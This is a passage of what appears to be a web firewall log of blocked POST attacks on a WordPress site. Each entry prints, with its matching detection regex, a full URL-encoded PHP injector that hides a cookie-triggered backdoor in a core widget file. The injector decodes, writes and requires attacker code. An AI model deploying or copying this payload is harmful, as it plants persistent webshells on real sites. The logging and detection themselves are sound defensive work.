2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522config_manager%2522%2529%253B%2520%2524desc%2520%253D%2520%2522620ef380f870087037f3d85a8182cd39%2522%253B%2520if%2520%2528%2521strncmp%2528%2524desc%252C%2520%2524data_chunk%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522sync_manager_settings%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\naccept:*\/*\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvL3LvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4326\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\n\ncv=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/widgets\/class-wp-widget-search.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B14-14%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B97-96%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-19%252B22%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B69%252B-65%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520function%2520config_manager%2528%2524val%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520%2524item%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527d1bcf7f2%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524item%2529%2529%2520%257B%2520%2524item%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522splitter_tool%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524data_chunk%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524item%2529%2529%2520%257B%2520%2524resource%2520%253D%2520fopen%2528%2524item%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524resource%252C%2520%2524sym%2529%253B%2520fclose%2528%2524resource%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524item%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524item%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522config_manager%2522%2529%253B%2520%2524desc%2520%253D%2520%2522620ef380f870087037f3d85a8182cd39%2522%253B%2520if%2520%2528%2521strncmp%2528%2524desc%252C%2520%2524data_chunk%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522sync_manager_settings%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:48:31","91.142.222.105","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> JC:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/widgets\/class-wp-widget-search.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B14-14%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B97-96%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-19%252B22%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B69%252B-65%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520function%2520config_manager%2528%2524val%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520%2524item%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527d1bcf7f2%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524item%2529%2529%2520%257B%2520%2524item%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522splitter_tool%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524data_chunk%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524item%2529%2529%2520%257B%2520%2524resource%2520%253D%2520fopen%2528%2524item%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524resource%252C%2520%2524sym%2529%253B%2520fclose%2528%2524resource%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524item%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524item%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522config_manager%2522%2529%253B%2520%2524desc%2520%253D%2520%2522620ef380f870087037f3d85a8182cd39%2522%253B%2520if%2520%2528%2521strncmp%2528%2524desc%252C%2520%2524data_chunk%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522sync_manager_settings%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\naccept:*\/*\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFxZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4326\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\n\nJC=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/widgets\/class-wp-widget-search.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B14-14%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B97-96%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-19%252B22%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B69%252B-65%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520function%2520config_manager%2528%2524val%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520%2524item%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527d1bcf7f2%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524item%2529%2529%2520%257B%2520%2524item%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522splitter_tool%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524data_chunk%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524item%2529%2529%2520%257B%2520%2524resource%2520%253D%2520fopen%2528%2524item%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524resource%252C%2520%2524sym%2529%253B%2520fclose%2528%2524resource%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524item%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524item%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522config_manager%2522%2529%253B%2520%2524desc%2520%253D%2520%2522620ef380f870087037f3d85a8182cd39%2522%253B%2520if%2520%2528%2521strncmp%2528%2524desc%252C%2520%2524data_chunk%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522sync_manager_settings%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:48:54","103.93.94.155","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> gR:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/widgets\/class-wp-widget-search.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B14-14%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B97-96%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-19%252B22%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B69%252B-65%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520function%2520config_manager%2528%2524val%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520%2524item%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527d1bcf7f2%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524item%2529%2529%2520%257B%2520%2524item%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522splitter_tool%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524data_chunk%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524item%2529%2529%2520%257B%2520%2524resource%2520%253D%2520fopen%2528%2524item%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524resource%252C%2520%2524sym%2529%253B%2520fclose%2528%2524resource%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524item%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524item%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522config_manager%2522%2529%253B%2520%2524desc%2520%253D%2520%2522620ef380f870087037f3d85a8182cd39%2522%253B%2520if%2520%2528%2521strncmp%2528%2524desc%252C%2520%2524data_chunk%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522sync_manager_settings%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\naccept:*\/*\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvM1VvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4326\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\n\ngR=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/widgets\/class-wp-widget-search.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B14-14%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B97-96%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-19%252B22%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B69%252B-65%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520function%2520config_manager%2528%2524val%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520%2524item%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527d1bcf7f2%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524item%2529%2529%2520%257B%2520%2524item%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522splitter_tool%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524data_chunk%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524item%2529%2529%2520%257B%2520%2524resource%2520%253D%2520fopen%2528%2524item%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524resource%252C%2520%2524sym%2529%253B%2520fclose%2528%2524resource%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524item%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524item%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522config_manager%2522%2529%253B%2520%2524desc%2520%253D%2520%2522620ef380f870087037f3d85a8182cd39%2522%253B%2520if%2520%2528%2521strncmp%2528%2524desc%252C%2520%2524data_chunk%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522sync_manager_settings%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:49:02","173.212.252.15","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/widgets\/class-wp-widget-search.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B14-14%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B97-96%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-19%252B22%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B69%252B-65%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520function%2520config_manager%2528%2524val%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520%2524item%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527d1bcf7f2%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524item%2529%2529%2520%257B%2520%2524item%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522splitter_tool%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524data_chunk%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524item%2529%2529%2520%257B%2520%2524resource%2520%253D%2520fopen%2528%2524item%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524resource%252C%2520%2524sym%2529%253B%2520fclose%2528%2524resource%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524item%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524item%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522config_manager%2522%2529%253B%2520%2524desc%2520%253D%2520%2522620ef380f870087037f3d85a8182cd39%2522%253B%2520if%2520%2528%2521strncmp%2528%2524desc%252C%2520%2524data_chunk%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522sync_manager_settings%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20